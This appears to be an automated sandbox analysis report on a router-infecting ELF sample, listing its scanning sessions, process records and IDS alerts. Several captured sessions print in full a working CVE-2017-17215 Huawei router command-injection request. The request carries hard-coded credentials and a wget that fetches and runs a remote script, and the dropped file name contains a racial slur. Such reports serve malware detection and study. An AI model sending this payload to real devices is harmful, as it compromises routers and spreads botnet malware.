53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
215	192.168.2.23	60200	45.126.231.133	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:31.971937895 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
216	192.168.2.23	36122	122.254.96.131	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:38.707426071 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
217	192.168.2.23	57982	45.115.243.140	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:39.017616987 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Behavior

Analysis Process: d9PdCrDQ8X.elf PID: 6218, Parent PID: 6132

General

Start time (UTC):	17:35:35
Start date (UTC):	19/02/2024
Path:	/tmp/d9PdCrDQ8X.elf
Arguments:	/tmp/d9PdCrDQ8X.elf
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	17:35:35
Start date (UTC):	19/02/2024
Path:	/tmp/d9PdCrDQ8X.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	17:35:35
Start date (UTC):	19/02/2024
Path:	/tmp/d9PdCrDQ8X.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	17:35:35
Start date (UTC):	19/02/2024
Path:	/tmp/d9PdCrDQ8X.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: d9PdCrDQ8X.elf PID: 6226, Parent PID: 6220

General

Start time (UTC):	17:35:35
Start date (UTC):	19/02/2024
Path:	/tmp/d9PdCrDQ8X.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:51534 -> 31.136.53.108:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:51534 -> 31.136.53.108:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45794 -> 31.136.239.96:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:45794 -> 31.136.239.96:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47862 -> 31.200.50.90:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:47862 -> 31.200.50.90:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60598 -> 31.200.37.46:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:60598 -> 31.200.37.46:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60040 -> 31.200.124.108:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:60040 -> 31.200.124.108:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57704 -> 45.43.225.248:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:57704 -> 45.43.225.248:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35782 -> 45.42.88.243:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:35782 -> 45.42.88.243:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36238 -> 31.25.12.63:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:36238 -> 31.25.12.63:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35348 -> 31.136.167.127:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:35348 -> 31.136.167.127:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36944 -> 31.136.19.12:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:36944 -> 31.136.19.12:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55980 -> 31.136.254.134:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:55980 -> 31.136.254.134:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59110 -> 31.136.194.47:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:59110 -> 31.136.194.47:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60330 -> 31.136.215.98:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:60330 -> 31.136.215.98:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57332 -> 31.136.245.12:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:57332 -> 31.136.245.12:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42198 -> 31.136.117.81:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:42198 -> 31.136.117.81:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49888 -> 31.136.6.149:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:49888 -> 31.136.6.149:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53412 -> 31.136.116.1:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:53412 -> 31.136.116.1:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58328 -> 31.31.168.14:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:58328 -> 31.31.168.14:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45918 -> 31.200.81.98:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:45918 -> 31.200.81.98:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48738 -> 45.207.158.168:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:48738 -> 45.207.158.168:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48150 -> 45.207.136.175:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:48150 -> 45.207.136.175:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39406 -> 45.207.135.78:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:39406 -> 45.207.135.78:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:32800 -> 45.207.150.124:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:32800 -> 45.207.150.124:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50194 -> 45.125.57.80:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:50194 -> 45.125.57.80:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37370 -> 45.33.251.121:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:37370 -> 45.33.251.121:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45102 -> 45.41.87.97:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:45102 -> 45.41.87.97:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57674 -> 45.43.224.98:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:57674 -> 45.43.224.98:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53282 -> 45.207.143.109:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:53282 -> 45.207.143.109:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49578 -> 45.207.185.93:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:49578 -> 45.207.185.93:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47904 -> 45.207.134.167:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:47904 -> 45.207.134.167:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55034 -> 45.207.133.229:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:55034 -> 45.207.133.229:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35580 -> 31.136.86.201:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:35580 -> 31.136.86.201:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34586 -> 31.136.242.93:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:34586 -> 31.136.242.93:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44266 -> 31.136.28.189:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:44266 -> 31.136.28.189:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:56824 -> 94.120.246.208:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:56824 -> 94.120.246.208:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:56056 -> 31.200.59.235:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:56056 -> 31.200.59.235:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40076 -> 31.200.25.130:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:40076 -> 31.200.25.130:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57210 -> 31.200.93.247:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:57210 -> 31.200.93.247:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:54162 -> 31.136.90.72:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:54162 -> 31.136.90.72:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:51482 -> 31.136.225.12:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:51482 -> 31.136.225.12:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55528 -> 31.136.207.210:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:55528 -> 31.136.207.210:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41992 -> 31.136.103.148:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:41992 -> 31.136.103.148:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36918 -> 31.136.188.247:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:36918 -> 31.136.188.247:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58810 -> 31.200.104.7:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:58810 -> 31.200.104.7:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:32950 -> 31.200.101.60:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:32950 -> 31.200.101.60:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34270 -> 31.200.102.30:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:34270 -> 31.200.102.30:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48036 -> 31.200.92.35:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:48036 -> 31.200.92.35:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34588 -> 31.24.86.71:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:34588 -> 31.24.86.71:37215

Source: global traffic	TCP traffic: 121.231.187.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 121.38.98.161 ports 1,2,3,5,7,37215

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.183.27
Source: unknown	TCP traffic detected without corresponding DNS query: 121.191.120.15
Source: unknown	TCP traffic detected without corresponding DNS query: 121.231.129.15
